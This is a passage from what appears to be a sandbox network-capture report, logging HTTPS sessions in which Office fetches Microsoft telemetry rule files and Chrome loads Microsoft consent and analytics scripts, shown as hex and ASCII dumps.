2024-11-18 19:21:47 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:47 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:47 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192147Z-16547b76f7fm8pcwhC1DFWaxcc00000004a000000000fq3p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:47 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49854	13.107.246.45	443	2292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 19:21:48 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:47 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 36338 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c254d5cd-a01e-0060-689a-3951de000000 x-ms-version: 2009-09-19 x-azure-ref: 20241118T192147Z-1866b5c5fbbb9dv9hC1DFWps5c00000001a000000000n5hf Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-18 19:21:48 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-18 19:21:48 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-18 19:21:48 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-18 19:21:48 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49853	13.107.246.45	443	2292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 19:21:48 UTC	891	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:48 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T192148Z-16547b76f7fmcv27hC1DFWgpcg000000050000000000h3ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	15493	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-18 19:21:48 UTC	16384	IN	Data Raw: 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d Data Ascii: ?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[m
2024-11-18 19:21:48 UTC	16384	IN	Data Raw: 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f Data Ascii: gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,functio
2024-11-18 19:21:49 UTC	16384	IN	Data Raw: 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d Data Ascii: ,m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16}
2024-11-18 19:21:49 UTC	16384	IN	Data Raw: 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e Data Ascii: mal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return n
2024-11-18 19:21:49 UTC	16384	IN	Data Raw: 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f Data Ascii: uto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=functio
2024-11-18 19:21:50 UTC	16384	IN	Data Raw: 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 Data Ascii: g.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPag
2024-11-18 19:21:50 UTC	16384	IN	Data Raw: 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e Data Ascii: urn!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].n
2024-11-18 19:21:50 UTC	16384	IN	Data Raw: 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 Data Ascii: bAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="
